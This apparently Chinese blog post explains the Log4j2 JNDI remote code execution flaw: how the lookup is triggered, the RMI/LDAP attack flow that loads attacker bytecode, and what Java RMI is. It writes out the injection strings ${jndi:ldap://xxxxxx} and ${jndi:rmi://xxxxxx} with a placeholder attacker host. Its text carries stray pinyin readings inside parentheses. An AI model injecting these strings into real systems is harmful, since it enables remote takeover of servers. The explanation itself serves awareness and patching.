Apache 存在 Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞,有哪些信息值得關(guān)注?
相信大家最近都被 Apache 的 Log4j2 的漏洞相關(guān)的文章刷屏了,不得不說這次的這個(gè)漏洞影響范圍之廣,很多互聯(lián)網(wǎng)大廠和開源軟件都被影響到了,作為一個(gè)特別通用的日志框架,日常使用的場(chǎng)景非常多,而且很多開源軟件都在使用,所以此次影響到一大批公司,堪稱核彈級(jí)漏洞!
不過據(jù)說 2021 年 11 月 24 日,阿里云安全團(tuán)隊(duì)向 Apache 官方報(bào)告了 Apache Log4j2 遠(yuǎn)程代碼執(zhí)行漏洞,可能這是為什么阿里內(nèi)部群很安靜,沒任何波瀾的原因吧,畢竟有安全部門!但是很多其他公司是工程師就很不幸了,都表示自己在 12 月 10 號(hào)這天晚上被拉起來修復(fù)漏洞了,還有好多要給客戶打補(bǔ)丁的。
漏洞描述
我們都知道在使用Apache Log4j2 記錄日志的時(shí)候,會(huì)使用這樣的格式logger.info("params: {}", params);,進(jìn)行組裝,不要告訴阿粉你是用加號(hào)拼裝~。log4j2 底層在進(jìn)行組裝的時(shí)候,如果發(fā)現(xiàn)傳入的 params 當(dāng)中含有${} 字符串的話會(huì)進(jìn)行替換的時(shí)候會(huì)執(zhí)行 lookup 的操作,所謂的 lookup 的操作就是允許通過 JNDI檢索變量。
通過 JNDI 注入漏洞,黑客可以惡意構(gòu)造特殊數(shù)據(jù)請(qǐng)求包,觸發(fā)此漏洞,從而成功利用此漏洞可以在目標(biāo)服務(wù)器上執(zhí)行任意代碼,想想就很恐怖!也就是說當(dāng) params 中的參數(shù)包含一些特定的字符的時(shí)候,就會(huì)觸發(fā)這個(gè)漏洞,這種字符數(shù)格式比如:${jndi:ldap://xxxxxx},${jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服務(wù)地址。
黑客通過構(gòu)造這樣的字符串來訪問目標(biāo)網(wǎng)站,只要程序通過 log4j2 將日志進(jìn)行記錄,不管是什么級(jí)別,就會(huì)將 log4j2 的 lookup 功能觸發(fā),然后就會(huì)通過 RMI 訪問黑客的服務(wù)地址,黑客通過這個(gè)服務(wù)輸出一個(gè) class 字節(jié)碼文件,這個(gè)字節(jié)碼文件里面可以執(zhí)行任何內(nèi)容,相當(dāng)于把這個(gè)服務(wù)器都交給黑客了,后果可想而知!
攻擊原理
有大佬畫了一張攻擊原理的圖書,阿粉給大家看一下,很詳細(xì)了。
相關(guān)實(shí)現(xiàn)的代碼阿粉放到了后臺(tái),回復(fù)關(guān)鍵字【log4j】獲取,不過復(fù)現(xiàn)的過程可能會(huì)比較坎坷,因?yàn)橛捎?JDK 版本的問題,很多小伙伴不一定能復(fù)現(xiàn)出來。
RMI
估計(jì)很多小伙伴看到這個(gè)漏洞的時(shí)候估計(jì)跟阿粉一樣有一個(gè)疑問,那就是 RMI 是啥?運(yùn)用面向搜索引擎編程的技巧,阿粉找到了下面的內(nèi)容,看上去還是很好理解的。
Java RMI(Java Remote Method Invocation),即 Java 遠(yuǎn)程方法調(diào)用。是 Java 編程語言里,一種用于實(shí)現(xiàn)遠(yuǎn)程過程調(diào)用的應(yīng)用程序編程接口。有點(diǎn)類似于我們常用的服務(wù)注冊(cè)發(fā)現(xiàn)機(jī)制一樣,使用 JRMP(Java Remote Message Protocol,Java遠(yuǎn)程消息交換協(xié)議)實(shí)現(xiàn),使得客戶端運(yùn)行的程序可以調(diào)用遠(yuǎn)程服務(wù)器上的對(duì)象,有點(diǎn) RPC 的感覺。
劃重點(diǎn)
王堅(jiān)博士曾說:安全是互聯(lián)網(wǎng)公司的生命,也是每一位網(wǎng)民的最基本需求。
互聯(lián)網(wǎng)軟件的安全與我們每一個(gè)程序員相關(guān),我們?cè)谌粘9ぷ髦幸S時(shí)有應(yīng)對(duì)各種安全漏洞的準(zhǔn)備,寫的代碼也有盡量沒有漏洞。為此阿粉特意找來了一本由阿里知名白帽子道哥編寫的《白帽子講 Web 安全》書籍,里面分析了很多種 Web 安全,如下面所示,讓我們?yōu)榛ヂ?lián)網(wǎng)的安全做一點(diǎn)小小的貢獻(xiàn)。